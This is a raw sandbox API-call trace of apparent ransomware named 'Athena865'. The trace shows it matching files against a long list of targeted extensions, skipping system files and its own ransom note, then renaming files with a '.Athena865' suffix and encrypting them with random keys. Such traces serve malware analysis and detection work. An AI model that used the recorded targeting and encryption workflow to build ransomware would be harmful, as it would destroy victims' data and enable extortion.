[0138.066] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.066] lstrlenW (lpString="ade") returned 3 [0138.066] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.066] lstrlenW (lpString="adf") returned 3 [0138.069] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.070] lstrlenW (lpString="adn") returned 3 [0138.070] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.070] lstrlenW (lpString="adp") returned 3 [0138.070] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.072] lstrlenW (lpString="alf") returned 3 [0138.075] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.075] lstrlenW (lpString="ask") returned 3 [0138.075] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.075] lstrlenW (lpString="btr") returned 3 [0138.075] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.075] lstrlenW (lpString="cat") returned 3 [0138.075] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.075] lstrlenW (lpString="cdb") returned 3 [0138.076] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.076] lstrlenW (lpString="ckp") returned 3 [0138.082] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.083] lstrlenW (lpString="cma") returned 3 [0138.083] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.083] lstrlenW (lpString="cpd") returned 3 [0138.083] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.083] lstrlenW (lpString="dacpac") returned 6 [0138.083] lstrcmpiW (lpString1="63.WMF", lpString2="dacpac") returned -1 [0138.083] lstrlenW (lpString="dad") returned 3 [0138.083] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.083] lstrlenW (lpString="dadiagrams") returned 10 [0138.083] lstrcmpiW (lpString1="157763.WMF", lpString2="dadiagrams") returned -1 [0138.083] lstrlenW (lpString="daschema") returned 8 [0138.083] lstrcmpiW (lpString1="7763.WMF", lpString2="daschema") returned -1 [0138.083] lstrlenW (lpString="db-journal") returned 10 [0138.083] lstrcmpiW (lpString1="157763.WMF", lpString2="db-journal") returned -1 [0138.083] lstrlenW (lpString="db-shm") returned 6 [0138.083] lstrcmpiW (lpString1="63.WMF", lpString2="db-shm") returned -1 [0138.083] lstrlenW (lpString="db-wal") returned 6 [0138.083] lstrcmpiW (lpString1="63.WMF", lpString2="db-wal") returned -1 [0138.084] lstrlenW (lpString="dbc") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.084] lstrlenW (lpString="dbs") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.084] lstrlenW (lpString="dbt") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.084] lstrlenW (lpString="dbv") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.084] lstrlenW (lpString="dbx") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.084] lstrlenW (lpString="dcb") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.084] lstrlenW (lpString="dct") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.084] lstrlenW (lpString="dcx") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.084] lstrlenW (lpString="ddl") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.084] lstrlenW (lpString="dlis") returned 4 [0138.084] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.084] lstrlenW (lpString="dp1") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.084] lstrlenW (lpString="dqy") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.084] lstrlenW (lpString="dsk") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.084] lstrlenW (lpString="dsn") returned 3 [0138.084] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.085] lstrlenW (lpString="dtsx") returned 4 [0138.085] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.085] lstrlenW (lpString="dxl") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.085] lstrlenW (lpString="eco") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.085] lstrlenW (lpString="ecx") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.085] lstrlenW (lpString="edb") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.085] lstrlenW (lpString="epim") returned 4 [0138.085] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.085] lstrlenW (lpString="fcd") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.085] lstrlenW (lpString="fdb") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.085] lstrlenW (lpString="fic") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.085] lstrlenW (lpString="flexolibrary") returned 12 [0138.085] lstrlenW (lpString="fm5") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.085] lstrlenW (lpString="fmp") returned 3 [0138.085] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.085] lstrlenW (lpString="fmp12") returned 5 [0138.085] lstrcmpiW (lpString1="3.WMF", lpString2="fmp12") returned -1 [0138.085] lstrlenW (lpString="fmpsl") returned 5 [0138.085] lstrcmpiW (lpString1="3.WMF", lpString2="fmpsl") returned -1 [0138.085] lstrlenW (lpString="fol") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.086] lstrlenW (lpString="fp3") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.086] lstrlenW (lpString="fp4") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.086] lstrlenW (lpString="fp5") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.086] lstrlenW (lpString="fp7") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.086] lstrlenW (lpString="fpt") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.086] lstrlenW (lpString="frm") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.086] lstrlenW (lpString="gdb") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.086] lstrlenW (lpString="gdb") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.086] lstrlenW (lpString="grdb") returned 4 [0138.086] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.086] lstrlenW (lpString="gwi") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.086] lstrlenW (lpString="hdb") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.086] lstrlenW (lpString="his") returned 3 [0138.086] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.086] lstrlenW (lpString="ib") returned 2 [0138.086] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.086] lstrlenW (lpString="idb") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.087] lstrlenW (lpString="ihx") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.087] lstrlenW (lpString="itdb") returned 4 [0138.087] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.087] lstrlenW (lpString="itw") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.087] lstrlenW (lpString="jet") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.087] lstrlenW (lpString="jtx") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.087] lstrlenW (lpString="kdb") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.087] lstrlenW (lpString="kexi") returned 4 [0138.087] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.087] lstrlenW (lpString="kexic") returned 5 [0138.087] lstrcmpiW (lpString1="3.WMF", lpString2="kexic") returned -1 [0138.087] lstrlenW (lpString="kexis") returned 5 [0138.087] lstrcmpiW (lpString1="3.WMF", lpString2="kexis") returned -1 [0138.087] lstrlenW (lpString="lgc") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.087] lstrlenW (lpString="lwx") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.087] lstrlenW (lpString="maf") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.087] lstrlenW (lpString="maq") returned 3 [0138.087] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.087] lstrlenW (lpString="mar") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.088] lstrlenW (lpString="marshal") returned 7 [0138.088] lstrcmpiW (lpString1="763.WMF", lpString2="marshal") returned -1 [0138.088] lstrlenW (lpString="mas") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.088] lstrlenW (lpString="mav") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.088] lstrlenW (lpString="maw") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.088] lstrlenW (lpString="mdbhtml") returned 7 [0138.088] lstrcmpiW (lpString1="763.WMF", lpString2="mdbhtml") returned -1 [0138.088] lstrlenW (lpString="mdn") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.088] lstrlenW (lpString="mdt") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.088] lstrlenW (lpString="mfd") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.088] lstrlenW (lpString="mpd") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.088] lstrlenW (lpString="mrg") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.088] lstrlenW (lpString="mud") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.088] lstrlenW (lpString="mwb") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.088] lstrlenW (lpString="myd") returned 3 [0138.088] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.088] lstrlenW (lpString="ndf") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.089] lstrlenW (lpString="nnt") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.089] lstrlenW (lpString="nrmlib") returned 6 [0138.089] lstrcmpiW (lpString1="63.WMF", lpString2="nrmlib") returned -1 [0138.089] lstrlenW (lpString="ns2") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.089] lstrlenW (lpString="ns3") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.089] lstrlenW (lpString="ns4") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.089] lstrlenW (lpString="nsf") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.089] lstrlenW (lpString="nv") returned 2 [0138.089] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.089] lstrlenW (lpString="nv2") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.089] lstrlenW (lpString="nwdb") returned 4 [0138.089] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.089] lstrlenW (lpString="nyf") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.089] lstrlenW (lpString="odb") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.089] lstrlenW (lpString="odb") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.089] lstrlenW (lpString="oqy") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.089] lstrlenW (lpString="ora") returned 3 [0138.089] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.090] lstrlenW (lpString="orx") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.090] lstrlenW (lpString="owc") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.090] lstrlenW (lpString="p96") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.090] lstrlenW (lpString="p97") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.090] lstrlenW (lpString="pan") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.090] lstrlenW (lpString="pdb") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.090] lstrlenW (lpString="pdm") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.090] lstrlenW (lpString="pnz") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.090] lstrlenW (lpString="qry") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.090] lstrlenW (lpString="qvd") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.090] lstrlenW (lpString="rbf") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.090] lstrlenW (lpString="rctd") returned 4 [0138.090] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.090] lstrlenW (lpString="rod") returned 3 [0138.090] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.090] lstrlenW (lpString="rodx") returned 4 [0138.091] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.091] lstrlenW (lpString="rpd") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.091] lstrlenW (lpString="rsd") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.091] lstrlenW (lpString="sas7bdat") returned 8 [0138.091] lstrcmpiW (lpString1="7763.WMF", lpString2="sas7bdat") returned -1 [0138.091] lstrlenW (lpString="sbf") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.091] lstrlenW (lpString="scx") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.091] lstrlenW (lpString="sdb") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.091] lstrlenW (lpString="sdc") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.091] lstrlenW (lpString="sdf") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.091] lstrlenW (lpString="sis") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.091] lstrlenW (lpString="spq") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.091] lstrlenW (lpString="te") returned 2 [0138.091] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.091] lstrlenW (lpString="teacher") returned 7 [0138.091] lstrcmpiW (lpString1="763.WMF", lpString2="teacher") returned -1 [0138.091] lstrlenW (lpString="tmd") returned 3 [0138.091] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.091] lstrlenW (lpString="tps") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.092] lstrlenW (lpString="trc") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.092] lstrlenW (lpString="trc") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.092] lstrlenW (lpString="trm") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.092] lstrlenW (lpString="udb") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.092] lstrlenW (lpString="udl") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.092] lstrlenW (lpString="usr") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.092] lstrlenW (lpString="v12") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.092] lstrlenW (lpString="vis") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.092] lstrlenW (lpString="vpd") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.092] lstrlenW (lpString="vvv") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.092] lstrlenW (lpString="wdb") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.092] lstrlenW (lpString="wmdb") returned 4 [0138.092] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.092] lstrlenW (lpString="wrk") returned 3 [0138.092] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.092] lstrlenW (lpString="xdb") returned 3 [0138.093] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.093] lstrlenW (lpString="xld") returned 3 [0138.093] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.093] lstrlenW (lpString="xmlff") returned 5 [0138.093] lstrcmpiW (lpString1="3.WMF", lpString2="xmlff") returned -1 [0138.093] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.Athena865") returned 71 [0138.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.athena865"), dwFlags=0x1) returned 1 [0138.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.095] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8296) returned 1 [0138.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.096] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.097] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.097] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.097] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2370, lpName=0x0) returned 0x154 [0138.098] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2370) returned 0x100000 [0138.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.100] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.100] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.101] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.101] CloseHandle (hObject=0x154) returned 1 [0138.101] CloseHandle (hObject=0x17c) returned 1 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.102] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="..") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="windows") returned -1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootmgr") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="temp") returned -1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="pagefile.sys") returned -1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="boot") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ids.txt") returned 1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ntuser.dat") returned -1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="perflogs") returned -1 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2="MSBuild") returned -1 [0138.102] lstrlenW (lpString="J0157995.WMF") returned 12 [0138.102] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0157995.WMF" | out: lpString1="J0157995.WMF") returned="J0157995.WMF" [0138.102] lstrlenW (lpString="J0157995.WMF") returned 12 [0138.102] lstrlenW (lpString="Athena865") returned 9 [0138.102] lstrcmpiW (lpString1="57995.WMF", lpString2="Athena865") returned -1 [0138.102] lstrlenW (lpString=".dll") returned 4 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".dll") returned 1 [0138.102] lstrlenW (lpString=".lnk") returned 4 [0138.102] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".lnk") returned 1 [0138.102] lstrlenW (lpString=".ini") returned 4 [0138.103] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".ini") returned 1 [0138.103] lstrlenW (lpString=".sys") returned 4 [0138.103] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".sys") returned 1 [0138.103] lstrlenW (lpString="J0157995.WMF") returned 12 [0138.103] lstrlenW (lpString="bak") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.103] lstrlenW (lpString="ba_") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.103] lstrlenW (lpString="dbb") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.103] lstrlenW (lpString="vmdk") returned 4 [0138.103] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.103] lstrlenW (lpString="rar") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.103] lstrlenW (lpString="zip") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.103] lstrlenW (lpString="tgz") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.103] lstrlenW (lpString="vbox") returned 4 [0138.103] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.103] lstrlenW (lpString="vdi") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.103] lstrlenW (lpString="vhd") returned 3 [0138.103] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.103] lstrlenW (lpString="vhdx") returned 4 [0138.103] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.103] lstrlenW (lpString="avhd") returned 4 [0138.104] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.104] lstrlenW (lpString="db") returned 2 [0138.104] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.104] lstrlenW (lpString="db2") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.104] lstrlenW (lpString="db3") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.104] lstrlenW (lpString="dbf") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.104] lstrlenW (lpString="mdf") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.104] lstrlenW (lpString="mdb") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.104] lstrlenW (lpString="sql") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.104] lstrlenW (lpString="sqlite") returned 6 [0138.104] lstrcmpiW (lpString1="95.WMF", lpString2="sqlite") returned -1 [0138.104] lstrlenW (lpString="sqlite3") returned 7 [0138.104] lstrcmpiW (lpString1="995.WMF", lpString2="sqlite3") returned -1 [0138.104] lstrlenW (lpString="sqlitedb") returned 8 [0138.104] lstrcmpiW (lpString1="7995.WMF", lpString2="sqlitedb") returned -1 [0138.104] lstrlenW (lpString="xml") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.104] lstrlenW (lpString="$er") returned 3 [0138.104] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.104] lstrlenW (lpString="4dd") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.105] lstrlenW (lpString="4dl") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.105] lstrlenW (lpString="^^^") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.105] lstrlenW (lpString="abs") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.105] lstrlenW (lpString="abx") returned 3 